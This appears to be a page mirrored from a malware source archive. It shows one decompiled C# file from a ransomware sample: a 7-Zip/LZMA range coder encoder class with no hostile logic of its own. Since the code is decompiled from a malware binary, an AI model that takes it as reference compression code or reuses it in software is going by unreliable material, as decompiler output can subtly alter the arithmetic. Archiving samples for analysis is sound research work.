mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
109 lines
2.8 KiB
C#
109 lines
2.8 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: SevenZip.Compression.RangeCoder.Encoder
|
|||
|
// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 7BE4E538-8555-4C2E-974B-99E556F5462C
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Ransom.Win32.Gimemo.ayt-624a52079bf1703bcd3bcc9d2d3716b6126fd05655e25289d19142f9aae02eb5.exe
|
|||
|
|
|||
|
using System.IO;
|
|||
|
|
|||
|
namespace SevenZip.Compression.RangeCoder
|
|||
|
{
|
|||
|
internal class Encoder
|
|||
|
{
|
|||
|
public const uint kTopValue = 16777216;
|
|||
|
private Stream Stream;
|
|||
|
public ulong Low;
|
|||
|
public uint Range;
|
|||
|
private uint _cacheSize;
|
|||
|
private byte _cache;
|
|||
|
private long StartPosition;
|
|||
|
|
|||
|
public void SetStream(Stream stream) => this.Stream = stream;
|
|||
|
|
|||
|
public void ReleaseStream() => this.Stream = (Stream) null;
|
|||
|
|
|||
|
public void Init()
|
|||
|
{
|
|||
|
this.StartPosition = this.Stream.Position;
|
|||
|
this.Low = 0UL;
|
|||
|
this.Range = uint.MaxValue;
|
|||
|
this._cacheSize = 1U;
|
|||
|
this._cache = (byte) 0;
|
|||
|
}
|
|||
|
|
|||
|
public void FlushData()
|
|||
|
{
|
|||
|
for (int index = 0; index < 5; ++index)
|
|||
|
this.ShiftLow();
|
|||
|
}
|
|||
|
|
|||
|
public void FlushStream() => this.Stream.Flush();
|
|||
|
|
|||
|
public void CloseStream() => this.Stream.Close();
|
|||
|
|
|||
|
public void Encode(uint start, uint size, uint total)
|
|||
|
{
|
|||
|
this.Low += (ulong) (start * (this.Range /= total));
|
|||
|
this.Range *= size;
|
|||
|
while (this.Range < 16777216U)
|
|||
|
{
|
|||
|
this.Range <<= 8;
|
|||
|
this.ShiftLow();
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public void ShiftLow()
|
|||
|
{
|
|||
|
if ((uint) this.Low < 4278190080U || (uint) (this.Low >> 32) == 1U)
|
|||
|
{
|
|||
|
byte num = this._cache;
|
|||
|
do
|
|||
|
{
|
|||
|
this.Stream.WriteByte((byte) ((ulong) num + (this.Low >> 32)));
|
|||
|
num = byte.MaxValue;
|
|||
|
}
|
|||
|
while (--this._cacheSize != 0U);
|
|||
|
this._cache = (byte) ((uint) this.Low >> 24);
|
|||
|
}
|
|||
|
++this._cacheSize;
|
|||
|
this.Low = (ulong) ((uint) this.Low << 8);
|
|||
|
}
|
|||
|
|
|||
|
public void EncodeDirectBits(uint v, int numTotalBits)
|
|||
|
{
|
|||
|
for (int index = numTotalBits - 1; index >= 0; --index)
|
|||
|
{
|
|||
|
this.Range >>= 1;
|
|||
|
if (((int) (v >> index) & 1) == 1)
|
|||
|
this.Low += (ulong) this.Range;
|
|||
|
if (this.Range < 16777216U)
|
|||
|
{
|
|||
|
this.Range <<= 8;
|
|||
|
this.ShiftLow();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public void EncodeBit(uint size0, int numTotalBits, uint symbol)
|
|||
|
{
|
|||
|
uint num = (this.Range >> numTotalBits) * size0;
|
|||
|
if (symbol == 0U)
|
|||
|
{
|
|||
|
this.Range = num;
|
|||
|
}
|
|||
|
else
|
|||
|
{
|
|||
|
this.Low += (ulong) num;
|
|||
|
this.Range -= num;
|
|||
|
}
|
|||
|
while (this.Range < 16777216U)
|
|||
|
{
|
|||
|
this.Range <<= 8;
|
|||
|
this.ShiftLow();
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public long GetProcessedSizeAdd() => (long) this._cacheSize + this.Stream.Position - this.StartPosition + 4L;
|
|||
|
}
|
|||
|
}
|